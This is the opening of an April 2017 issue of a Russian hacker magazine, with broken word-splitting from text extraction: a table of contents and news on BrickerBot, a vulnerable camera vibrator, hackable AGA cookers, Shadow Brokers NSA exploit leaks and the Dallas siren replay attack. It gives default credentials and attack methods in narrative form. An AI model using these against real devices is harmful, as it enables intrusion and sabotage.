
№219
АПРЕЛЬ  

2017

Разбираемся  
в устройстве 
банковского 
антифрода

Ломаем Wi-Fi 
со смартфона

Вторгаемся в сеть, управляем узлами, DoS’им 
и проникаем в тайники

ЛОМАЕМ 
УМНЫЕ 
ЗДАНИЯ

Cover 
Story



апрель 2017

№ 219

CONTENT
Всё новое за пос ледний месяц
MEGANEWS

Втор гаем ся в сеть, управля ем узла ми, DoS’им и про ника ем в тай ники
Ло маем умные зда ния

Пре муд рости рас пре делен ных вычис лений на лич ном при мере
BOINC к бою!

Зна комим ся с экзо тичес кой ОС Haiku, пре емни цей BeOS
Хай ку о люб ви

Под клю чаем Arduino к Azure IoT Hub
Центр интерне та вещей

Ин терес ные веб‐сер висы
WWW 2

Как зас тавить компь ютер решать мировые проб лемы
Вы чис ления на дому

Android O, iOS 10.3, Galaxy S8 и боль шой отчет Google о безопас ности Android
Мо биль ный дай джест мар та

8 спо собов исполь зовать ска нер отпе чат ков паль цев в Android
За вод ная дак тилос копия

Мо дифи циру ем Android на живую с помощью Magisk
Ма гия для мод дера

Вы пуск #30. Апрель ский набор гика
Кар манный софт

Ко лон ка Евге ния Зоб нина
Google готовит замену Android?

RCE  в  Microsoft  Word,  SquirrelMail,  VMware  vCenter  и  ано ним ный  дос туп  в  Atlassian
Confluence

Об зор экс пло итов #219

Раз ведка и пер вый бой
Ло маем Wi‐Fi со смар тфо на

Как защища ют элек трон ные кни ги и как их защиту взла мыва ют
Книж ный DRM

Мо дифи циру ем фай ловую сис тему точ ки дос тупа Ubiquiti NanoStation M2
Про шить про шив ку

Стро им SIEM на осно ве open source ком понен тов для ана лиза логов
Ана лизи руй это

Ос новные про цес сы работы сис темы антифро да
Как защища ют бан ки

Са мая инте рес ная мал варь за истекший квар тал
Луч шие за сезон

Внед рение shellcode и encoding malware‐кода
Ре вер синг мал вари для начина ющих

Раз бира ем спо собы борь бы с нак руткой голосо ваний
На стра же чес тных выборов

Ожив ляем ста рый про ект с помощью кру того фрей мвор ка
Спа ситель ная инъ екция Dagger 2

«Помога ем» поль зовате лю в работе с прог рамма ми
Сер вис (не)огра ничен ных воз можнос тей

Ра бота ем со звон ками в Android вплоть до 7‐й вер сии
Те лефо ния для хакера

Раз бира емся с Intel XDK, NativeScript и Xamarin
Мо биль ная раз работ ка: выбира ем инс тру мен тарий

По лез ные трю ки, которые сде лают тебя гуру кон соли
Про качай тер минал!

За чем нам Manjaro, если есть Arch Linux?
Про качан ный арч

Топ инс тру мен тов для DevOps
Мас теру на все руки

Сот рудни ки Virtuozzo о себе и о том, чего ждут от кан дидатов
Ра бота для линук соида.

Воп росы и отве ты
FAQ

Кто дела ет этот жур нал
Тит ры



 «Mifrill» Мария Нефёдова
nefedova@glc.ru

ИНТЕРНЕТ КИРПИЧЕЙ
Еще  в  кон це  мар та  спе циалис ты  ком пании  Radware    стран ную
мал варь  BrickerBot,  которая  выводи ла  из  строя  IoT‐устрой ства,  умыш ленно
пов реждая ядро и делая невоз можным хра нение дан ных. Вре донос «охо тил ‐
ся» на устрой ства Linux BusyBox. Изна чаль но иссле дова тели обна ружи ли две
вер сии BrickerBot  (BrickerBot.1 и BrickerBot.2), а поз же    улуч ‐
шенные вер сии — BrickerBot.3 и BrickerBot.4.

об наружи ли

бы ли замече ны

Во вре мя пер вой фазы ата ки BrickerBot дей ству ет точ но так же, как Mirai,
,   и дру гая IoT‐мал варь: про водит сло вар ную ата ку, то есть брут ‐

форсит устрой ство через Telnet, пыта ясь подоб рать учет ные дан ные. Для это ‐
го в коде вре доно са жес тко зашиты спис ки логинов и паролей по умол чанию,
исполь зуемые для раз ных устрой ств.

Hajime LuaBot

Ес ли  учет ные  дан ные  подош ли  и  мал варь  сумела  про ник нуть  в  сис тему,
начина ется вто рая фаза ата ки, в ходе которой BrickerBot лома ет устрой ство.
Что бы  вывес ти  девайс  из  строя,  BrickerBot  исполь зует  нес коль ко  тех ник,
и  имен но  в  них  зак люча ется  раз ница  меж ду  вер сиями  вре доно са.  Тем
не  менее  цель  всег да  одна —  прев ратить  устрой ство  в  бес полез ный  «кир ‐
пич».

В резуль тате  устрой ство  перес тает  работать  за  счи таные  секун ды пос ле
зараже ния. Экспер ты отно сят такие ата ки к PDoS (Permanent Denial of Service,
«пос тоян ный отказ в обслу жива нии»), а так же называ ют их phlashing.

Спе циалис ты  Radware  сра зу  пред положи ли,  что  автор  вре доно са  может
быть  сво его  рода  «мсти телем»,  который  зачища ет  Сеть  от  небезо пас ных
устрой ств,  пре пода вая  жес токий  урок  их  вла дель цам.  Все  же  BrickerBot  —
это  ред кий  в  наши  дни  обра зец мал вари,  которая  соз дана  не  ради финан ‐
совой выгоды.

Вско ре жур налис ты изда ния Bleeping Computer про вели 
  и  не  толь ко  вычис лили  раз работ чика  мал вари,  но  и  сумели

погово рить с ним. Беседа показа ла, что сот рудни ки Radware были абсо лют но
пра вы.

собс твен ное рас ‐
сле дова ние

Соз дателем  BrickerBot  ока зал ся  хакер,  извес тный  под  псев донимом
. Он рас ска зал, что его, как и мно гих, пот рясли бес порядоч ные DDoS‐

ата ки,  которые  в  2016  году  устра ива ли  IoT‐бот неты.  Janit 0r  полагал,  что  эти
круп ные инци ден ты вынудят индус трию оду мать ся и начать дей ство вать сооб ‐
ща,  но  вско ре  ста ло  оче вид но,  что  ничего  подоб ного  не  про исхо дит.  Тог да
хакер решил взять дело в свои руки и написал BrickerBot.

janit0r

Он отме чает, что ана лити ки Radware опи сали BrickerBot не сов сем точ но
и  на  самом  деле мал варь  гораз до  слож нее.  По  сло вам  раз работ чика,  речь
идет об исполь зовании 86 про токо лов и пей лоадов, спе цифич ных для опре ‐
делен ных  устрой ств.  К  тому  же  janit 0r  утвер жда ет,  что  сна чала  BrickerBot
все‐таки  пыта ется  помочь  заражен ному  устрой ству  и  устра нить  уяз вимос ти,
ничего при этом не пов реждая. «Окир пичива ние» явля ется лишь «пла ном Б»,
если дру гие методы не сра бота ли.

Janit 0r  сооб щил,  что  уже  в  янва ре  2017  года  количес тво  устрой ств,  пос ‐
тра дав ших  от  атак  BrickerBot,  сос тавля ло  200  тысяч,  а  на  момент  обще ния
с жур налис тами перева лило за отметку в два мил лиона.

«Тог да  отметка  в  200  тысяч  „окир пичен ных“  девай сов  виделась  мне
чем‑то  боль шим,  и  я  был  уве рен,  что  приб лижа юсь  к  кон цу.  Теперь
счет перева лил за два мил лиона, и ста ло ясно, что я не пред став лял
(и  до  сих  пор  не  пред став ляю),  нас коль ко  глу бока  кро личья  нора
небезо пас ности IoT. Уве рен, худ шее еще ждет нас впе реди, — пишет
janit 0r.  —  Наде юсь,  необыч ное  поведе ние  BrickerBot  помог ло  пра -
витель ствам, вен дорам и индус трии в целом выиг рать еще один год,
за  который  они  смо гут  взять  текущий  кош мар  безопас ности  IoT
под  кон троль.  Мно гие  дру гие  люди  так же  сде лали  важ ные  шаги
в  области  сра жения  с  IoT-мал варью  (Team  White,  автор  Hajime,
@packetcop со сво ими син кхо лера ми и так далее), так что я ни в коем
слу чае не пыта юсь взять на себя ответс твен ность за спад активнос ти
Mirai в пер вом квар тале 2017 года. Но если Imeij и   дос талось
в пос леднее вре мя, это, ско рее все го, моя вина ;)».

Amnesia

Из вес тно, что от атак BrickerBot 
 и сот ни его кли ентов. Инци дент про изо шел 10 апре ля 2017 года: або нен ‐

ты  вре мен но  лишились  дос тупа  в  интернет  и  телефон ной  свя зи.  Хотя  изна ‐
чаль но  пред полага лось,  что  проб лема  была  выз вана  неудач ным  обновле ‐
нием ПО, которое рас простра нила ком пания, 11 апре ля пред ста вите ли про ‐
вай дера  сооб щили,  что  Sierra  Tel  пос тра дал  от  деятель нос ти  хакеров. Факт
ата ки под твер дил и сам janit 0r, хотя хакер полага ет, что «Sierra незас лужен но
получи ла пло хой PR лишь из‐за того, что была чес тна отно ситель но хака и не
ста ла ничего скры вать».

пос тра дал калифор ний ский про вай дер Sierra
Tel

Проб лема зак лючалась в ата ках на модемы Zyxel HN‐51, которые Sierra Tel
мас сово пре дос тавля ет сво им кли ентам. Пос ле атак устрой ства уже не мог ли
фун кци они ровать нор маль но, и пред ста вите ли про вай дера ста ли совето вать
пос тра дав шим обра щать ся в офи сы ком пании за заменой. Одна ко в Sierra Tel
недо оце нили  мас шта бы  проб лемы:  уже  через  нес коль ко  часов  модемы
для  замены  поп росту  закон чились,  а  пос тра дав шие  поль зовате ли  про дол ‐
жали  при ходить  в  офи сы.  В  ито ге  сот рудни ки  ком пании  были  вынуж дены
забирать у поль зовате лей вышед шее из строя обо рудо вание, обе щая отре ‐
мон тировать или заменить его в самом ско ром будущем. Окон чатель но все
пос ледс твия инци ден та были устра нены лишь 22 апре ля 2017 года.

 → «Я рас смат риваю свой про ект как фор му  , а о себе иног ‐
да в шут ку думаю как о док торе. Хими оте рапия — это жес ткое лечение, и ник то в трез вом уме
не  наз начит  ее  здо рово му  паци енту,  но  интернет  серь езно  заболел  в  треть ем  и  чет вертом
квар тале 2016 года, а обыч ных средств ока залось недос таточ но. Побоч ные эффекты от лечения
жес токи,  но  аль тер натива  (мил лион ные  DDoS‐бот неты)  была  бы  гораз до  хуже.  Я  могу  лишь
наде ять ся на то, что, ког да у IoT нас тупит рецидив, мы най дем луч шие спо собы решения проб ‐
лем».

„хими оте рапии для интерне та“

 автор вре доно са BrickerBot, который умыш ленно выводит из строя  IoT‐устрой ‐
ства

— Janit 0r,

ВЗЛОМ ВИБРАТОРОВ
ИБ‐спе циалис ты раз ных ком паний про дол жают изу чать безопас ность все воз ‐
можных IoT‐устрой ств и порой выбира ют для тес тов очень необыч ные девай ‐
сы.

,  опуб ликован ный  иссле дова теля ми  Pen  Test  Partners,  сна ‐
чала кажет ся стран ной шут кой. Дело в том, что спе циалис ты обна ружи ли мно ‐
жес тво  проб лем  в  «умном»  виб раторе  Svakom  Siime  Eye,  который  осна щен
встро енной  камерой  и  ком плек тует ся  собс твен ным  офи циаль ным  при ложе ‐
нием. Устрой ство сто имостью 250 дол ларов уме ет в режиме реаль ного вре ‐
мени  переда вать  изоб ражение  с  рас положен ной  на  кон чике  виде ока меры
на  компь ютер,  смар тфон  или  план шет  (пос редс твом  Wi‐Fi).  И,  по  сло вам
иссле дова телей, имен но в этом и зак люча ется основная проб лема.

Све жий  отчет

Siime Eye работа ет как точ ка дос тупа Wi‐Fi пря мо «из короб ки», при этом
SSID  един  для  всех  устрой ств:  Siime  Eye,  и  изме нить  его  поль зователь
не  может.  Хуже  того,  пароль  по  умол чанию  вряд  ли  мож но  наз вать
сколь‐нибудь  надеж ным —  это  88888888.  Таким  обра зом,  зло умыш ленник,
находя щий ся  в  зоне  дей ствия  сиг нала,  может  без  тру да  уста новить  себе
мобиль ное  при ложе ние  Siime  Eye,  ввес ти  учет ные  дан ные  и  под клю чить ся
к «интимно му стри му» (или получить дос туп к сде лан ным ранее виде оза писям
и изоб ражени ям).

Па нель управле ния устрой ством тоже дос тупна любому жела юще му и рас ‐
полага ется по адре су 192.168.1.1:80. Пароля нет вов се, а имя поль зовате ля
самое стан дар тное, какое толь ко мож но при думать: admin. Выходит, что если
вос поль зовать ся небезыз вес тным сер висом wigle.net и занять ся вар драй вин ‐
гом, то дос таточ но прос то ездить по городу и искать сети с иден тифика тором
Siime Eye.

Хо тя  две  опи сан ные  выше  ата ки  воз можны  из  локаль ной  сети,  это  еще
не  зна чит,  что  ском про мети ровать  виб ратор  уда лен но не получит ся. Изу чив
про шив ку устрой ств, иссле дова тели приш ли к выводу, что для получе ния уда ‐
лен ного  дос тупа  зло умыш ленник  может  обра тить ся  к  опре делен ному  URL,
что бы вклю чить Telnet. Даль нейший ана лиз обна ружил и жес тко закоди рован ‐
ный root‐акка унт, исполь зуя который мож но не прос то под клю чить ся к устрой ‐
ству  уда лен но,  а  вно сить  изме нения  в  про шив ку  девай са  и  при  желании
заразить виб ратор мал варью.

«Суть RCE-уяз вимос ти в том, что виб ратору мож но уста новить новую
про шив ку, если есть такое желание. С устрой ством мож но делать что
угод но,  если  у  вас,  конеч но,  есть  вре мя  и  склон ность  к  написа нию
про шивок  для  дил до»,  —  говорит  спе циалист  Pen  Test  Partners  Кен
Ман ро (Ken Munro).

Во  вре мя  ана лиза  ПО  спе циалис ты  Pen  Test  Partners  так же  обра тили  вни ‐
мание на то, что виб ратор работа ет на базе про шив ки, исходно пред назна ‐
чен ной для дро нов. Так, в коде уда лось обна ружить явно забытые там слу чай ‐
но фун кции отправ ки отсня того кон тента в Skype или на email. Иссле дова тели
полага ют,  что  и  это  тоже  может  сыг рать  на  руку  ата кующе му:  этот  код  все
еще мож но исполь зовать по пря мому наз начению, то есть хакеру не при дет ся
писать свой.

Но одним толь ко изу чени ем виб раторов экспер ты не огра ничи лись. Вско ‐
ре спе циалис ты Pen Test Partners так же    «умных»
плит ком пании AGA.

со общи ли о ком про мета ции

Пли ты  серии    осна щают ся  SIM‐кар той  и  обо рудо вани ем
для  под клю чения  к  сети мобиль ного  опе рато ра.  Бла года ря  этой  опции  тех ‐
нике  мож но  отправ лять  коман ды  как  с  телефо на,  так  и  с  сай та  ком пании.
К  при меру,  мож но  заранее  пос тавить  в  духов ку  ужин  и  еще  по  дороге
с работы дать  пли те  коман ду  начать  его разог ревать. Впро чем,  серия  iTotal
Control — это про фес сиональ ные решения,  так  что  вряд  ли  эти  пли ты  сто ят
на домаш них кух нях мно гих людей.

iTotal  Control

Пли ты ком плек туют ся модулем Tekelek и GSM SIM‐кар той, за обслу жива ‐
ние  которой  поль зователь  пла тит  поряд ка  семи  с  полови ной  дол ларов
в  месяц  (у  ком пании  AGA  есть  догово рен ности  с  рядом  опе рато ров).  Так
как  устрой ства  работа ют  с  прос тыми,  ничем  не  защищен ными  тек сто выми
сооб щени ями  и HTTP,  для  перех вата  управле ния  чьей‐либо  пли той  понадо ‐
бит ся  лишь  узнать  номер  ее  SIM‐кар ты.  Никакой  сис темы  аутен тифика ции
про изво дитель  не  пре дус мотрел,  поэто му  устрой ство  при мет  коман ду
от  любого  жела юще го.  То  есть  зло умыш ленник  может  как  «раз вле кать ся»
вклю чени ем пли ты вхо лос тую  (что бы уве личить сче та жер твы за элек три чес ‐
тво),  так  и  испортить  при готов ление  обе да  или  ужи на,  не  говоря  об  опас ‐
ности устро ить пожар.

В обо их слу чаях пред ста вите ли Pen Test Partners дол го пытались свя зать ся
с про изво дите лями  уяз вимых девай сов,  но их  ста рания  так и  не  увен чались
успе хом.  Сот рудни ки  ком пании  AGA  сна чала  и  вов се  забани ли  иссле дова ‐
телей в сво ем офи циаль ном твит тере. В ито ге бла года ря огласке спе циалис ‐
там  все  же  уда лось  прив лечь  вни мание  про изво дите лей,  но  исправ лений
для най ден ных уяз вимос тей все еще нет.

АДМИ НИС ТРА ЦИЯ STACK OVERFLOW ПРО ВЕЛА ЕЖЕ ГОД ‐
НЫЙ ОПРОС РАЗ РАБОТ ЧИКОВ

 → С 2011 года сайт Stack Overflow еже год но опра шива ет свою немалую ауди торию, сос тавляя
один из круп ней ших и наибо лее инте рес ных рей тин гов язы ков прог рамми рова ния, инс тру мен ‐
тов,  тех нологий,  ПО  и  при вычек  кодеров.  В  янва ре  2017  года  ресурс  про вел  тра дици онный
опрос  сре ди  64  тысяч  сво их  поль зовате лей,  и  вот  что  показа ли  резуль таты  на  этот  раз.
Топ‐10 самых популяр ных язы ков прог рамми рова ния

 → Са мые популяр ные фрей мвор ки, биб лиоте ки и так далее

 → Са мые популяр ные БД

 → Ча ще все го раз работ чики пишут код, исполь зуя сле дующие плат формы

 → Но,  помимо  работы,  у  кодеров  есть  и  лич ные  пред почте ния.  Вот  так  выг лядят  рей тин ги
самых любимых и самых пре зира емых раз работ чиками язы ков прог рамми рова ния

mailto:nefedova@glc.ru
https://xakep.ru/2017/04/06/brickerbot/
https://xakep.ru/2017/04/25/new-brickerbots/
https://xakep.ru/2017/04/19/hajime-white-hat/
https://xakep.ru/2016/09/19/luabot-interview/
https://xakep.ru/2017/04/21/janit0r
https://xakep.ru/2017/04/11/botnet-amnesia/
https://xakep.ru/2017/04/27/sierra-tel/
https://www.pentestpartners.com/blog/vulnerable-wi-fi-dildo-camera-endoscope-yes-really/
https://www.pentestpartners.com/blog/iot-Aga-cast-iron-security-flaw/
http://www.agaliving.com/aga-itotal-control
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UBUNTU ВЕРНЕТСЯ
НА GNOME
5 апре ля 2017 года осно ватель Canonical Марк Шатт лворт шокиро вал сооб ‐
щес тво,  ,  что  меч те  о  еди ной  плат форме  для  всех  Linux‐устрой ств,
по  сути,  при шел  конец.  Ubuntu  прек ратит  исполь зовать  обо лоч ку  Unity,
на  раз работ ку  которой  было  пот рачено  столь ко  лет  и  уси лий,  вновь  вер ‐
нувшись к ста рому доб рому GNOME.

объ явив

Шатт лворт пишет, что это было «неп ростое решение», но спус тя шесть лет
GNOME  вер нется  в  качес тве  обо лоч ки  по  умол чанию  (начиная  с  вер сии
Ubuntu  18.04  LTS,  которая  будет  пред став лена  в  апре ле  2018  года).  Работа
над Unity 8,  которая  так и не ста ла ста биль ным релизом, будет прек ращена
вов се.

Кро ме того, Canonical сво рачи вает работу над Ubuntu Phone для смар тфо ‐
нов и план шетов, а так же раз работ ку сво их устрой ств, которые так и не снис ‐
кали  популяр ности  сре ди  поль зовате лей.  В  сво ем  сооб щении  Шатт лворт
уде лил мобиль ным устрой ствам нем ного мес та, но эту информа цию под твер ‐
дил комь юни ти‐менед жер Canonical Май кл Холл  (Michael Hall), сооб щив, что
работа над телефо нами и план шетами прек раща ется. Судя по все му, вмес те
с этим в прош лом оста нет ся и гра фичес кий сер вер Mir, на замену которо му
при дет Wayland.

«В сооб щес тве наши ста рания вос при няли не как инно вацию, но как
фраг мента цию.  Индус трия  не  ста ла  объ еди нять  уси лия  вок руг  этой
воз можнос ти  и  пред почла  выб рать  мень шее  „из  двух  зол“,  инвести -
ровав  в  доморо щен ные  плат формы.  То,  что  раз работ чикам  Unity
8 уда лось соз дать на дан ный момент, — велико леп но, фун кци ональ но
и  надеж но,  но  я  ува жаю  пра во  сооб щес тва  и  рын ка  решать,  какой
про дукт  дол жен  про дол жать  раз вивать ся,  а  какой  дол жен
исчезнуть», — резюми рует Шатт лворт.

 →  исполь зуют «PayPal»‐фишеры. Незави симый иссле ‐
дова тель  Вин сент  Линч  (Vincent  Lynch)  про вел  аудит  сер тифика тов,  выдан ных  Let’s  Encrypt
за пос ледний год. Как ока залось, удос товеря ющий центр мас сово выда ет сер тифика ты, содер ‐
жащие сло во PayPal, и боль шинс тво из них исполь зуют мошен ники.  Так,  сло во PayPal  содер ‐
жат 15 270 SSL‐сер тифика тов. Опи раясь на дан ные Comodo Certificate Search, Линч про верил
слу чай ную  тысячу  «PayPal»‐сер тифика тов.  В  резуль тате  он  убе дил ся,  что  96,7%  этих  сер ‐
тифика тов (14 776) исполь зуют ся домена ми, на которых раз мещены фишин говые сай ты.

14 776 сер тифика тов Let’s Encrypt

КАМНИ
ПРЕТКНОВЕНИЯ
С  2016  года  ком пания  Microsoft  пре дуп режда ла,  что  вско ре  опе раци онные
сис темы  Windows  7  и  8.1  фак тичес ки  перес танут  под держи вать ся  новыми
про цес сорами. Офи циаль ный блог ком пании сооб щал, что огра ниче ние всту ‐
пит в силу с выходом про цес соров на архи тек туре Kaby Lake ком пании  Intel,
чипа 8996 ком пании Qualcomm и Bristol Ridge ком пании AMD.

Из началь но  шес тое  поколе ние  про цес соров  Intel  (Skylake)  тоже  дол жно
было под падать под эту «рефор му». Но некото рые устрой ства на базе Skylake
уже  были  выпуще ны  с  под дер жкой Windows  7  и  8.1,  и  ситу ация  оста валась
до  кон ца  неяс ной. В  ито ге  на  сай те Microsoft    из шес тнад ‐
цати  про изво дите лей,  чьи  сис темы  на  базе  Skylake  будут  под держи вать ся
и  далее.  Вла дель цам  компь юте ров  дру гих  про изво дите лей  при дет ся  либо
перехо дить на Windows 10, либо работать без обновле ний.

по явил ся спи сок

Пос ле релиза пат чей из сос тава апрель ско го «втор ника обновле ний» 
,  что  вла дель цы  про цес соров  на  перечис ленных  архи тек турах

перес тали получать обновле ния. Мно гие поль зовате ли были в ярос ти, ког да
обна ружи ли, что пат чи поп росту не уста нав лива ются, сооб щая о несов мести ‐
мос ти  с  железом.  В  наибо лее  стран ном  положе нии  находят ся  некото рые
поль зовате ли Windows 8.1, так как их сис тема до 2018 года находит ся в фазе
«основной  под дер жки»  (mainstream  support)  и  они  могут  работать  с  USB
3 и NVMe. Одна ко получи лось, что новые огра ниче ния рас простра няют ся и на
них.

вы ‐
ясни лось

Со общес тво  не  ста ло  мирить ся  с  таким  положе нием  вещей.  Энту зиаст,
извес тный  под  ником  Zeffy,  решил  испра вить  проб лему  сво ими  силами.  Он
выяс нил,  что  за  огра ниче ния  отве чает  обновле ние  KB4012218,  вышед шее
в  мар те  2017  года.  Zeffy  отре вер сил  обновле ние  и  начал  раз рабаты вать
средс тво обхо да нового зап рета, а пос ле релиза апрель ско го набора пат чей
он получил воз можность опро бовать свой инс тру мент в деле. Как ока залось,

:  пат чит DLL‐фай лы Windows и обма ныва ет про вер ку  вер сии
CPU, что поз воля ет успешно уста новить обновле ния на Windows 7 и 8.1, даже
если  они  работа ют  в  сис теме,  пос тро енной  на  базе  про цес сора  седь мого
поколе ния.

ме тод работа ет

ПОСЛЕДНИЙ ПРИВЕТ
THE SHADOW
BROKERS
Ис тория груп пы The Shadow Brokers началась летом 2016 года, ког да хакеры

  аме рикан ских  спец служб,  одну  часть  обна родо вали
бес плат но,  а  оставшу юся  решили  про дать.  На  про тяже нии  мно гих  месяцев
груп пиров ка  пыталась  монети зиро вать  похищен ные  экс пло иты  и  информа ‐
цию с помощью откры того аук циона, кра удфандин га и даже роз ничной про ‐
дажи,  одна ко  най ти  покупа телей  не  уда лось.  В  ито ге  в  янва ре  2017  года
хакеры офи циаль но  , обна родо вали бес плат ‐
но еще нес коль ко инс тру мен тов и «покину ли сце ну».

по хити ли  инс тру мен ты

поп рощались с поль зовате лями

8  апре ля  2017  года  The  Shadow  Brokers  неожи дан но 
.  Сог ласно  их  сооб щению,  возоб новить  активность  хакеров  вынуди ло

недоволь ство прав лени ем Дональ да Трам па. Хакеры пишут, что разоча рова ‐
ны кур сом, который выб рал новый пре зидент США, и обви няют его в том, что
он «забыл людей, которые его избра ли». В кон це это го длин ного полити чес ‐
кого пос лания хакеры опуб ликова ли пароль от вто рого архи ва с инс тру мен ‐
тами АНБ, которые они тщет но пытались про дать все это вре мя.

ак тивизи рова лись
вновь

Дамп содер жал экс пло ит для 0day‐уяз вимос ти в ОС Solaris и дру гие инс ‐
тру мен ты  для  взло ма  UNIX‐сис тем;  фрей мворк  TOAST,  который  спец служ бы
исполь зуют  для  очис тки  логов  и  замета ния  сле дов;  инс тру мент  ELECTRIC‐
SLIDE, поз воля ющий замас кировать ся под  китай ский бра узер с фаль шивым
Accept‐Language, а так же мно гое дру гое.

14 апре ля 2017 года The Shadow Brokers   еще одну пор цию
информа ции. Если дамп от 7 апре ля содер жал раз личные UNIX‐экс пло иты, то
новый  архив  получил  наз вание  «Труд ности  перево да»  (Lost  in  Translation)
и вклю чал в себя экс пло иты для Windows,  которые,  как извес тно,  тоже име ‐
лись в рас поряже нии груп пиров ки.

об народо вали

Кро ме  того,  архив  яко бы  содер жал  доказа тель ства  того,  что  Equation
Group (груп па «пра витель ствен ных хакеров», которую и обок рали The Shadow
Brokers  и  чья  связь  с  АНБ  дав но  доказа на)  име ла  дос туп  к  сер верам  сер ‐
висных  бюро,  свя зан ных  с  меж дународ ной  бан ков ской  сис темой  SWIFT,
и шпи они ла за рядом финан совых учрежде ний из раз ных стран мира.

Пуб ликации новых дам пов без пре уве личе ния 
. Экспер ты наз вали новые экс пло иты «режимом бога для компь ‐

юте ров Microsoft»  и  сооб щили,  что  в  архи ве  пред став лены  экс пло иты  прак ‐
тичес ки для всех сис тем семей ства Windows (NT, 2000, 2003, 2008 и до 2012,
а так же для домаш них вер сий XP, Vista, 7 и Windows 8).

взбу дора жили мировое  IT‐
сооб щес тво

Ча уки  Бек рар  (Chaouki  Bekrar),  гла ва  и  осно ватель  ком пании  Zerodium,
которая  занима ется  покуп кой  и  про дажей  уяз вимос тей,  сооб щил,  что
на такой информа ции The Shadow Brokers мог ли зарабо тать более двух мил ‐
лионов дол ларов, если бы сумели переп родать экс пло иты бро керу уяз вимос ‐
тей и кон куриру ющим с АНБ пра витель ствен ным агентствам. По его сло вам,
один  толь ко  экс пло ит  под  кодовым  име нем  ETERNAL,  пред назна чен ный
для атак на SMB‐про кол, сто ил бы более 250 тысяч дол ларов.

«Эти  у***и  [ушлепки]  сож гли  два  мил лиона  дол ларов,  [опуб ликовав]
один ZIP-файл, — говорит Бек рар. — С точ ки зре ния атак это огромная
потеря,  с  точ ки  зре ния  защиты  дан ная  утеч ка  пред став ляет  собой
боль шую угро зу для мил лионов Windows-сис тем».

Пос ле  пуб ликации  инс тру мен тария  спец служб  в  откры том  дос тупе  пред ста ‐
вите ли  ком пании  Microsoft  были  вынуж дены  экс трен но  успо каивать  поль ‐
зовате лей  и  даже  экспер тов.  В  бло ге  ком пании  появи лось  сооб щение,
в котором ком пания завери ла, что инс тру мен тарий АНБ более не пред став ‐
ляет никакой опас ности,  так  как боль шинс тво  уяз вимос тей,  которые экс плу ‐
ати рова ли спец служ бы, дав но исправ лены.

Ин терес но, что при этом в бюл летенях безопас ности, свя зан ных с экс пло ‐
ита ми  АНБ,  не  сооб щалось,  отку да  сот рудни ки  Microsoft  узна ли  о  дан ных
проб лемах,  то  есть  неиз вес тно,  какая  имен но  груп па  или  иссле дова тель
обна ружи ли уяз вимос ти. Теперь мно гие пред полага ют, что Microsoft заранее
пре дуп редили о ско ром релизе экс пло итов. Одни подоз рева ют, что ком пания
сама  зап латила  хакерам  за  уяз вимос ти,  дру гие  допус кают,  что  информа ция
пос тупила непос редс твен но от пред ста вите лей АНБ.

 →  сред ний годовой бюд жет бан ков на кибер безопас ность. Ана лити ки «Лабора ‐
тории Кас пер ско го»  под читали,  что  годовой бюд жет бан ков  на  кибер безопас ность  в  сред нем
дос тига ет 58 мил лионов дол ларов, что в три раза боль ше, чем у нефинан совых орга низа ций.
Такие зат раты впол не оправдан ны, ведь количес тво угроз рас тет. Так, опрос, про веден ный сре ‐
ди 800 пред ста вите лей финан совых орга низа ций из 15 стран мира, показал, что 70% бан ков
за  пос ледний  год  понес ли  денеж ные  потери  в  резуль тате  кибер мошен ничес тва,  а  еще  46%
стал кивались с фишин гом.

58 000 000 $

RED ALERT
В ночь  с  7  на  8  апре ля  2017  года  сон жителей  аме рикан ско го Дал ласа 

.  Око ло  полуно чи  по  все му  городу  неожи дан но  зарабо ‐
тали 156 сирен сис темы экс трен ного опо веще ния о чрез вычай ных ситу ациях
(в основном она исполь зует ся для пре дуп режде ний о приб лижении тор надо).
Как  выяс нилось,  при чиной  вклю чения  сиг нала  тре воги  стал  отнюдь  не  тех ‐
ничес кий  сбой —  город ские  влас ти  сооб щили,  что  сис тему  взло мали  неиз ‐
вес тные хакеры.

на ‐
руши ли  хакеры

По сло вам жителей, сирены зарабо тали пос ле полуно чи и сум марно вклю ‐
чались не менее дюжины раз. При мер но в 1:20 ночи город ские влас ти были
вынуж дены отклю чить сис тему вооб ще, убе див шись, что никакой чрез вычай ‐
ной ситу ации на самом деле не наб люда ется.

Пред ста вите ли  влас тей  пред почли  не  вда вать ся  в  детали,  что бы
кто‐нибудь еще не понял, как была реали зова на ата ка, и не попытал ся сно ва.
Но любопыт ные иссле дова тели быс тро  .ра зоб рались, в чем было дело

В  2007  году  в  Дал ласе  была  уста нов лена  сис тема  опо веще ния  о  чрез ‐
вычай ных ситу ациях из 156 ава рий ных сирен, про изве ден ных ком пани ей Fed‐
eral  Signal.  При  этом  извес тно,  что  она  исполь зует  тональ ные  сиг налы.
Как  пра вило,  такие  сиг налы  тран сли руют ся  через  Наци ональ ную  мете оро ‐
логи чес кую  служ бу  с  исполь зовани ем  Dual‐Tone  Multi‐Frequency  (DTMF)
или Audio Frequency Shift Keying (AFSK). Фак тичес ки зашиф рован ные коман ды
управля юще го  цен тра  переда ются  на  ава рий ных  ради очас тотах.  Так,  сог ‐
ласно дан ным Федераль ной комис сии свя зи США, диапа зон 700 МГц в США
зарезер вирован имен но для таких целей.

Хо тя  телефон ные  сети  дав но  защище ны  от  фри кин га  и  тональ ными  сиг ‐
налами там ничего не добить ся, того же нель зя ска зать о Federal Signal. Спе ‐
циалис ты  ком пании  Bastille  сооб щили,  что  сце нарии  атак  мог ли  быть  раз ‐
ными, но ско рее все го, кто‐то про вел ата ку типа radio replay: зло умыш ленник
поп росту  записал  ауди осиг налы,  которые  тран сли рова лись  во  вре мя  пос ‐
ледне го  еже месяч ного  тес тирова ния  сис темы  экс трен ного  опо веще ния,
а затем вос про извел их в ночь с 7 на 8 апре ля 2017 года.

По сло вам спе циалис тов, ата кующие мог ли исполь зовать самое прос тое
железо: software defined radio или тес товое обо рудо вание для работы с ради ‐
очас тотами,  которое  мож но  сво бод но  при обрести  в  магази нах.  При  этом
боль шую  часть  све дений  о  работе  экс трен ных  сис тем  опо веще ния  мож но
сво бод но  почер пнуть  из  Google,  отыс кав  в  Сети  любые  необ ходимые  инс ‐
трук ции.  Неред ко  даже  софт  для  кон тро ля  таких  про дук тов  мож но  ска чать
легаль но и бес плат но, пусть это и будет лишь демовер сия.

 →  обна ружи ли в пер вом квар тале 2017 года. Иссле ‐
дова тели  ком пании  G  Data  пред ста вили  отчет  за  пер вый  квар тал  2017  года.  Спе циалис ты
пишут,  что  каж дый день на рын ке появ ляет ся более 8400 новых образчи ков мал вари для An‐
droid, а сум марно в пер вом квар тале было най дено 754 958 вре донос ных при ложе ний. Общий
